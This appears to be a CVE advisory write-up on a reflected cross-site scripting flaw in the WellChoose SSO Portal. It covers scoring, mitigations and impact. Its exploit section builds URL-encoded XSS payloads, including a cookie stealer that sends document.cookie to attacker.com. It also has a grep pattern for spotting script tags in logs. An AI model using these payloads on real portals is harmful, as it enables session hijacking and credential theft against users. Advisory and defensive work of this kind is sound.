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CVE-2026-1429 is a reflected cross-site scripting vulnerability found in the Single Sign-On Portal System developed by WellChoose . The vulnerability stems from the application’s failure to properly neutralize user-controllable input during web page generation, specifically classified under CWE-79 . When an authenticated remote attacker crafts a malicious URL containing a JavaScript payload and tricks a victim into clicking it via phishing attacks, the application reflects the input without adequate sanitization or output encoding . Consequently, the victim’s browser executes the arbitrary JavaScript code within the security context of the SSO portal . This attack is network-based, requires low privileges (authenticated user), and relies on active user interaction, such as clicking a deceptive link . The successful exploit allows the attacker to perform actions like session hijacking or credential theft on behalf of the legitimate user .
dailycve form:
Platform: WellChoose SSO Portal
Version: before IFTOP_P4_181
Vulnerability: Reflected XSS
Severity: Medium (CVSS 4.8)
date: Jan 26, 2026
Prediction: Patch already available (IFTOP_P4_181)
What Undercode Say:
Analytics:
The vulnerability was published by TWCERT/CC and affects WellChoose SSO Portal versions prior to IFTOP_P4_181 . It has a CVSS v4.0 base score of 4.8 (Medium) with a vector string of AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N, indicating low impact on system confidentiality and integrity but some impact on subsequent system components . The attack requires network access, low complexity, no attack requirements, low privileges, and active user interaction . The EPSS score is approximately 0.00012, suggesting a low probability of exploitation in the wild . The weakness is improper neutralization of input during web page generation (CWE-79) .
Exploit:
Example: Crafting a malicious URL for CVE-2026-1429
The vulnerable parameter is reflected back without sanitization
Hypothetical vulnerable endpoint: https://victim-sso.com/portal?returnUrl=[bash]
Basic JavaScript alert payload for testing
PAYLOAD="<script>alert('XSS')</script>"
ENCODED_PAYLOAD=$(printf '%s' "$PAYLOAD" | jq -sRr @uri)
MALICIOUS_URL="https://victim-sso.com/portal?returnUrl=$ENCODED_PAYLOAD"
echo "Send this link to the victim: $MALICIOUS_URL"
More advanced payload to steal session cookies
COOKIE_STEALER="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"
ENCODED_STEALER=$(printf '%s' "$COOKIE_STEALER" | jq -sRr @uri)
ATTACK_URL="https://victim-sso.com/portal?returnUrl=$ENCODED_STEALER"
To simulate detection, grep logs for potential XSS patterns
sudo grep -E '(<script|javascript:|onerror=|onload=)' /var/log/nginx/access.log
Protection from this CVE:
- Patch Immediately: Update the WellChoose Single Sign-On Portal System to version IFTOP_P4_181 or later .
- Input Validation: Implement strict validation on all user-supplied input, especially in URL parameters .
- Output Encoding: Apply context-aware output encoding (e.g., HTML entity encoding) to all data reflected back to the browser .
- Content Security Policy (CSP): Deploy strong CSP headers to restrict script sources and disallow inline scripts .
- Web Application Firewall (WAF): Deploy WAF rules to detect and block common XSS payload patterns in HTTP requests .
- Secure Cookies: Set HTTP-only and Secure flags on all session cookies to prevent JavaScript access .
- User Education: Train users to recognize phishing attempts and avoid clicking suspicious links targeting the SSO portal .
- Monitor Logs: Monitor web server logs for encoded JavaScript, script tags, or unusual query parameters .
Impact:
Successful exploitation allows an authenticated remote attacker to execute arbitrary JavaScript in the victim’s browser . This can lead to session hijacking, where the attacker steals session cookies to impersonate the victim . It also enables credential theft through fake login forms, unauthorized actions performed within the SSO portal on behalf of the user, and potential redirection to malicious websites . While the direct impact on the system’s confidentiality and integrity is rated low (VC:N/VI:N), the impact on subsequent system components (SC:L/SI:L) means that the attacker can affect the security of other systems reachable from the user’s browser session . This undermines trust in the SSO environment and can facilitate further lateral attacks within the organization’s network .
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Sources:
Reported By: nvd.nist.gov
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